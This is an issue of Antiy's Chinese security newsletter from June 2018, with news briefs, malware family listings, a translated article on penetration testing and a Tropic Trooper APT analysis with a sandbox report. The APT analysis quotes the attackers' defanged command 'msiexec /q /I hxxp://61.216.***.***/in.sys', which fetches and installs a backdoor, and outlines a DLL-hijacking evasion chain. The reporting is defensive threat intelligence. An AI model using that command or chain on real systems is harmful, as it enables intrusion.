安天周观察

安天官方微博　安天官方微信

主办：安天　2018 年 06 月 25 日 (总第 141 期) 试行　本期 4 版　微信搜索：antiylab　内部资料 免费交流

黑龙江省委网信办主任谭宇宏一行莅临安天调研

日前，黑龙江省委网信办主任谭宇宏、副主任孙耀武、总工程师王希忠等一行领导莅临安天调研，安天集团党委书记卜登来、研发副总裁王小丰、首席财务官邵丹以及副总工程师李柏松等进行了接待，王小丰向各位领导进行了汇报。

在汇报中，王小丰向来宾介绍了安天的发展历程及现状，并展示了安天取得的各项资质和荣誉。在安天持续与网络安全威胁对抗方面，特别汇报了对高级威胁的发现、捕获、分析等方面所做的工作。在应急响应墙前，谭宇宏主任仔细翻阅了安天的分析报告，并对安天的工作给予了高度的肯定。

在安天的产品方面，王小丰主要介绍了安天在网络靶场项目中所做的工作，重点展示了安天的态势感知系统在普通场景及应急场景下的响应过程及分析、研判过程。2016 年，安天协助黑龙江省委网信办建设黑龙江安全态势感知和应急处置平台，平台通过多方网络安全数据采集，实施监测和深度关联分析，可全局监测及研判本省网络安全态势，提升网络安全治理能力，降低突发事件危害及影响。

在对乌克兰停电事件进行介绍后，谭宇宏主任对事件的核心问题进行了解，同时根据我国国情，对类似突发事件的应对提出建议和意见。谭宇宏主任指出，安天要努力做到“关口前移，防患于未然”，建立完善的突发事件响应应对预案。

汇报结束后，省委网信办主任谭宇宏、省委网信办副主任孙耀武等领导对安天的创业过程、技术能力及取得的成果表示肯定，对安天目前的发展状况及人才引进情况进行了关心与询问，并希望安天能不忘初心，继续奋进。

macOS“快速查看”存在 Bug，缩略图缓存会泄露加密数据

安全研究人员 Wojciech Regula 公布了 macOS“快速查看”功能存在的安全漏洞，该漏洞至少已经存在八年，一直都没有解决。简单来说，macOS“快速查看”功能可能会暴露敏感的用户文件，如照片缩略图和文档文本，甚至在加密的磁盘上。

为了提供这种预览功能，“快速查看”创建了一个未加密的缩略图数据库，并保存了文件的缩略图。这些缩略图可以在加密磁盘上提供内容预览，技术人员可以通过特殊的方法访问这些缩略图，macOS 也没有能删除缩略图的缓存自动清除功能。

（文章来源：https://www.bleepingcomputer.com/news/apple/macos-breaks-your-opsec-by-caching-data-from-encrypted-hard-drives/）

交易所 Bithumb 被盗 350 亿韩元加密货币，已暂停存款

韩国数字货币交易所 Bithumb 被黑客攻击，总共有超过 350 亿韩元（约合 2.04 亿人民币）的数字货币遭到失窃。Bithumb 官方公告称，由于安全问题日渐严重，交易所对其交易系统紧急进行了安全检查。在交易所通知之前不要存款，在交易系统完成其改变前，所有存款不会进入用户钱包。该交易所表示将“补偿用户丢失的加密货币”，并将所有用户的资产转移到安全的“冷钱包”中。

（文章来源：https://www.bianews.com/news/flash?id=14660）

OpenBSD 出于安全考虑禁用 Intel CPU 超线程

由于对“幽灵级 BUG”理论威胁的安全考虑，OpenBSD 项目宣布，计划禁用对 Intel CPU 超线程的支持。超线程（HT）是英特尔实现同时多线程（SMT），一种允许处理器在同一多核 CPU 的不同核上运行并行操作的技术。OpenBSD 项目的 Mark Kettenis 表示，从设计上来说，这项技术只是为更多的定时攻击打开了大门。最近披露的“熔毁”和“幽灵”CPU 漏洞以及其它变种，都是以定时攻击为核心。

（文章来源：https://www.bleepingcomputer.com/news/security/openbsd-disables-intel-cpu-hyper-threading-due-to-security-concerns/）

每周安全事件

类 型	内 容
中文标题	Trik 垃圾邮件僵尸网络泄露了 4300 万个电子邮件地址
英文标题	Trik Spam Botnet Leaks 43 Million Email Addresses
作者及单位	Catalin Cimpanu
内容概述	Vertek 公司的一位威胁情报分析师在调查恶意软件活动时发现该活动在散布 Trik 木马病毒的一种版本，并且会通过第二阶段的有效载荷感染用户 GandCrab 3 勒索软件。安全研究人员称，超过 4300 万个电子邮件地址从垃圾邮件僵尸网络的命令和控制服务器中泄露。 Trik 木马是一个典型的恶意软件下载程序。它会感染电脑，并将其组装成一个巨大的僵尸网络。僵尸网络的操作人员使用这些电脑来发送新的垃圾邮件活动，或向其他骗子出售“安装空间”，让他们向 Trik 受害者发送更多的威胁。
链接地址	https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/

每周值得关注的恶意代码信息

经安天【CERT】检测分析，本周有 9 个移动平台恶意代码和 5 个 PC 平台的恶意代码值得关注

	关注方面	名称与发现时间	相关描述
移动恶意代码	新出现的样本家族	Trojan/Android.xdeSpy.a[prv,rmt,spy] 2018-06-19	该应用程序是一款间谍软件，运行后隐藏图标，激活设备管理器，请求 root 权限，接收远程控制指令，窃取用户短信、联系人、通话记录、地理位置、浏览器记录、手机固件信息等隐私信息并上传至服务器，私自拍照、录音、录像、拨打电话、发送短信。造成用户隐私泄露，建议卸载。（威胁等级中）
		Trojan/Android.Zyapa.a[prv,rmt,spy] 2018-06-21	该应用程序伪装知名应用，无实际功能，运行隐藏图标，联网接收远程指令，上传用户信箱、联系人、通话记录等隐私信息，私自调用拍照和截屏功能，上传照片文件，下载未知应用动态加载和存储到 SD 卡，会造成用户隐私泄露和资费损耗，建议卸载。（威胁等级中）
		G-Ware/Android.FakeFastSave.a[exp,rog] 2018-06-22	该应用程序伪装正常程序，运行推送通知，频繁弹窗诱导用户安装恶意应用，该应用会后台推送广告，造成用户资费损耗，请卸载。（威胁等级低）
	较为活跃的样本	Trojan/Android.FakeAV.q[prv,exp]	该应用程序伪装杀毒软件，无实际功能，运行后激活设备管理器，收集用户 Google、Facebook、邮件登录 ID 和 token 等信息并上传，后台私自加载广告，诱骗用户付费购买该应用。造成用户隐私泄露和资费消耗，建议卸载。（威胁等级高）
		Trojan/Android.FakeInst.fc[prv,exp,rmt]	该应用程序无实际功能，安装无图标，运行无界面。监听并拦截短信、接收短信指令，会通过指令上传用户短信和发送指定短信，造成用户隐私泄露和资费损耗，建议卸载。（威胁等级中）
		RiskWare/Android.IappShare.a[exp]	该应用程序样本运行诱导用户加入 QQ 群，进行分享推广引流。可能造成用户资费消耗，存在一定的风险，建议谨慎使用。（威胁等级低）
		Trojan/Android.BankerSpy.j[prv,rmt,spy]	该应用程序伪装正常应用，运行隐藏图标，接收远程指令控制，上传用户短信、联系人信息，禁用指定应用，私自发送指定短信，拨打电话，造成用户隐私泄露和资费损耗，请卸载。（威胁等级高）
		G-Ware/Android.Dropper.az[exp]	该应用程序动态加载恶意子包，静默下载安装未知应用，推送广告，还会窃取用户短信、安装包、浏览器标签等隐私信息，造成用户隐私泄露和资费损耗，建议卸载。（威胁等级中）
		G-Ware/Android.LockScreen.bj[rog,lck]	该应用程序伪装免费工具、运行诱导激活设备管理器，而后设置锁屏密码，锁屏。影响用户手机的正常使用，且难以正常卸载，建议不要使用。（威胁等级中）
PC 平台恶意代码	活跃的格式文档漏洞、0day 漏洞	Microsoft Excel 远程代码执行漏洞 (CVE-2018-8248)	Microsoft Excel 中存在远程代码执行漏洞，该漏洞源于程序没有正确处理内存中的对象。远程攻击者可利用该漏洞在当前用户的上下文中执行任意代码。（威胁等级高）
	较为活跃样本	Trojan[Backdoor]/Win32.Agent	此威胁是一种木马类后门程序，是一个通过代码基因来定性的木马类程序，家族变种之间具有相同或者相似的源码和核心技术。可以连接远程服务器接受攻击者恶意操作，包括下载与更新其它恶意代码、添加删除系统文件、窃取用户敏感信息等。（威胁等级高）
		Trojan[Downloader]/Win32.Dofoil	此威胁是一种下载类木马程序。该家族运行后会在电脑中下载并运行未知程序或恶意软件，并干扰系统正常运行，同时会修改系统设置。该家族及其变种主要通过恶意软件、被感染的网站、垃圾邮件、社交媒体网站恶意链接、文件共享网络等方式进行传播。（威胁等级中）
		Trojan[Downloader]/Win32.Delf	此威胁是使用 Delphi 语言编写具有下载行为的木马类程序，运行后会连接网络并下载其它恶意程序执行。通过以邮件、挂马、捆绑正常软件来进行传播。（威胁等级中）
		Trojan[Exploit]/Linux.Enoket	此威胁是一种溢出型的木马类程序。该家族样本运行后可以对 Linux 系统进行溢出攻击，有各种各样的攻击形式，有一定威胁。（威胁等级中）

为何说渗透测试对于保护网络至关重要

John Nye / 文　安天技术公益翻译组 / 译

十年前，美国的大多数企业都没能正确理解什么是渗透测试。即使在最近几年，大多数企业仍然难以完全了解这些测试的细微差别。

虽然整个安全行业以及该行业的许多细分市场已经非常成熟，但企业仍然存在很多误解，这不仅会使昂贵的第三方渗透测试很难进行，还可能会大大降低评估效果。

刚刚接触渗透测试的企业常常误解自动化漏洞扫描（使用 Nessus，Qualys 或 OpenVAS 等工具）与渗透测试之间的差异。让他们更加困惑的是，根据测试强度，渗透测试可以分为若干级别。在深入研究渗透测试的最佳实践之前，企业首先要了解渗透测试和漏洞扫描之间的差异，并了解如何针对手头情况选择最佳方法。

在专业的渗透测试中，自动化漏洞扫描是一种非常重要的工具，对于正确执行渗透测试至关重要。对于信息安全团队来说，漏洞扫描也是一项重要功能。如果渗透测试人员已经开始进行评估，再决定是否需要进行漏洞扫描就太迟了。即使使用免费工具（如 OpenVAS）每季度执行一次无证书扫描，也有助于识别需要修复的漏洞。

漏洞扫描程序使用特征数据库，这些数据库中的特征被视为已知恶意软件和漏洞的指纹。虽然这些特征能够提供大量有用的信息，但它们并不完美。自动化扫描会出现误报（将正常的某一特定情形错误

地标记为不正常）和漏报（没有标记不正常的情形）。自动化扫描还有另外一个问题：缺乏情境。例如，扫描程序可以找到系统使用过时版本 TLS/SSL 协议的所有情况。但是，它可能无法确定风险的严重程度（风险严重程度对受访问系统的人员影响）。而渗透测试会将情境考虑在内。

当漏洞扫描完成后，渗透测试就开始了。有经验的测试人员会查看漏洞扫描报告，并迅速行动或者采取措施：例如消除误报，并为其他漏洞的严重性评级添加情境信息。熟练的渗透测试人员或团队也可以识别较低级别的漏洞（当这些漏洞组合在一起时，可能会导致数据泄露或其他严重危害），通过添加情境信息来提高评估的准确性。

最后，渗透测试人员可以关注最可能存在漏洞的系统，并查看可能被扫描程序误报为安全的系统。

虽然所有渗透测试的基线方法基本相同——包括前期交互、情报收集、威胁建模、漏洞评估、渗透攻击、后渗透攻击和报告阶段——但是我们可以以不同级别的攻击为例，更准确地描绘真实世界的事件。

最低级别的测试是简单的漏洞扫描（非渗透测试），这会发现一些很明显的问题，比如过时的操作系统，但不能很好地表征真实世界的攻击。第二级是外部渗透测试，它将测试任何具有公共 IP、并且可以通过 web 访问的系统，以查找可能存在的漏洞。第三级是内部渗透测试，目的是查找内部人员威胁和网络中的攻击者。

除此之外，渗透测试还可以包括网络钓鱼演习。在演习中，测试人员向公司员工发送假的电子邮件，试图未经授权地访问敏感系统或数据。测试团队还可以使用物理或远程社会工程手段，以便进入公司，然后进行未经授权的访问；或者打电话欺骗不知情的员工，以便进入公司。

所有这些方法都可以纳入名为“红队演习”的大型评估中。在这种演习中，攻击队（测试人员）可以使用任何必要的手段来访问目标企业的系统。在所有的演习中，红队演习最接近真实世界中的针对性攻击。

在选择渗透测试的最佳方法时，需要考虑的最重要因素是目标企业的成熟度。如果目标企业从未对其系统进行过漏洞扫描，那么从漏洞扫描开始是个很不错的主意，并且有足够的时间进行漏洞修复。

如果目标企业比较成熟并且定期进行漏洞扫描（打补丁），则可以从外部渗透测试开始。这样，企业可以向更高级的评估迈进，每年至少进行一次攻击评估，并更频繁地进行漏洞扫描。

原文名称	Why penetration testing is key to protecting networks
作者简介	John Nye。John Nye 是 Cynergistek 公司的网络安全副总裁，也是信息保障、安全审计、策略合规以及安全分析方面的专家。
原文信息	2018 年 6 月 15 日发布于 Information Management 原文地址 https://www.information-management.com/opinion/why-penetration-testing-is-key-to-protecting-networks
免责声明	本译文译者为安天实验室工程师，出自个人兴趣在业余时间所译，本文原文来自互联网，译者与安天实验室均与原作者与原始发布者没有联系，亦未获得相关的版权授权，鉴于译者及安天实验室出于学习参考之目的翻译本文，而无出版、发售译文等任何商业利益意图，因此亦不对任何可能因此导致的版权问题承担责任。译者力图忠于所获得之电子版本进行翻译，但受翻译水平和技术水平所限，不能完全保证译文完全与原文含义一致，同时对所获得原文是否存在臆造、或者是否与其原始版本一致未进行可靠性验证和评价。译者与安天实验室亦对原文和译文的任何内容不承担任何责任。翻译本文的行为不代表译者和安天实验室对原文立场持有任何立场和态度。 本译文亦不得用于任何商业目的，未授权任何人士和第三方二次分享本译文，基于上述问题产生的法律责任，译者与安天实验室一律不予承担。

安天发布《Tropic Trooper APT 组织攻击活动分析报告》

近日，安天 CERT（安全研究与应急处理中心）在梳理网络安全事件时发现了 Tropic Trooper APT 组织的最新攻击活动。Tropic Trooper APT 组织自 2011 年（至少）活跃至今。Trend Micro 安全专家在 2015 年第一次发现该组织，当时其对菲律宾军方和亚洲部分国家地区的行政机构、重工业行业实施网络攻击。

在其最新的攻击活动中，攻击者使用了具有 CVE-2017-11882 或 CVE-2018-0802 漏洞的文档来对目标进行攻击。一旦用户打开了漏洞文档，则会运行命令“msiexec /q /I hxxp://61.216.***.***/in.sys”，其中 in.sys 是一个安装文件，运行后会释放带有后门的文件 UserInstall.exe 然后删除自身。UserInstall.exe 运行后会在 C:\ProgramData\Apple\Update\ 文件夹下释放一个白文件 sidebar.exe（Win7 中的桌面小工具）、一个恶意文件 wab32res.dll 以及一个加密的配置文件 secn.tsp。UserInstall.exe 使用 C:\Windows\SysWOW64\bitsadmin.exe 来运行 sidebar.exe，通过 dll 劫持使其加载 wab32res.dll，从而避免被杀毒软件检测到。wab32res.dll 被加载后会运行 dllhost.exe，并在 dllhost.exe 进程中注入 dll 后门 TClient，wab32res.dll 会创建一个硬编码的互斥量避免将 dll 后门注入到其他的 dllhost.exe 进程中。TClient 会加载配置文件 secn.tsp，对其进行解密操作，然后与 C2 服务器进行通信。

在持续跟踪分析 APT 攻击事件的同时，相关攻击组织也在不断进化和升级，其攻击行动并不会因被曝光而停歇。攻击组织为达成战略目的会不断更新、修改战术，如恶意代码的源码更新、最新漏洞的利用、最新商业军火的购买等，有些组织甚至会全面规避以往的行为特点和攻击资源。通过曝光威慑 APT 攻击者，将提高其攻击成本、收窄收割范围，也有助于被攻击方获取舆论和道义上的主动，并更深入认知相关威胁。但另一方面，其也会导致攻击者调整攻击资源和设施，提升攻击策略，以研发和采用更先进的攻击装备。因此，对 APT 的防御必须立足于长期、持续、系统的安全建设和投入之上。

目前，安天追影产品已经实现了对该类威胁的检出。

疑似高级威胁 安天【追影威胁分析系统】无需更新病毒库，即可实现对上述威胁进行有效检测，下为其自动形成的分析报告：

文件由页面手工提交，经由 YARA 自定义规则鉴定器、文件来源信息分析鉴定器、文件元数据分析鉴定器、静态分析鉴定器、动态行为（默认环境）鉴定器、智能学习鉴定器、安全云鉴定器等鉴定分析。

最终依据静态分析鉴定器将文件判定为疑似高级威胁。

◆ 概要信息

文件名	1d128fd61c2c121d9f2e1628630833172427e5d486cdd4b6d567b7bdac13935e
文件类型	Document/Microsoft.RTF[:Rich Text Format]
大小	2.25 MB
MD5	88E85FB6074AE50A3CCC9B410805FFE5
判定结果	疑似高级威胁
恶意判定 / 病毒名称	Trojan[Exploit]/MSOffice.CVE-2017-11882
判定依据	静态分析

◆ 运行环境

操作系统	内置软件
Windows XP 5.1.2600 Service Pack 3 Build 2600	默认、IE6、Firefox、Google Chrome、Office 2003、Flash、WPS、FoxitReader、Adobe Reader

◆ 危险行为

行为描述	危险等级	附加信息	
RTF 内嵌 OLE 对象	★★★	Class Name	Equation.3

◆ 常见行为

查找指定内核模块	★
创建特定窗体	★
获取计算机名称	★
获取驱动器类型	★
请求加载驱动的权限	★
获取系统内存	★★
查找特定窗体	★
获取主机用户名称	★
关机	★
设置调试器权限	★
扫描驱动器类型	★★

◆ 文件扫描

文件名	文件 MD5	家族相似性	yara 扫描
target.rtf	88e85fb6074ae50a3ccc9b410805ffe5	N/A	N/A
~WRF0002.tmp	eda1777509a91b3ec59f8c9ef5df4106	N/A	N/A
~WRS0000.tmp	ddab0efb0c94a3d7cc48f5b41c018e56	N/A	N/A
Normal.dot	347b44ff630ee597656dc805e040a16e	N/A	N/A
~$target.rtf	4170cbf55627205688b36dc4fe076bcc	N/A	N/A
……	……	……	……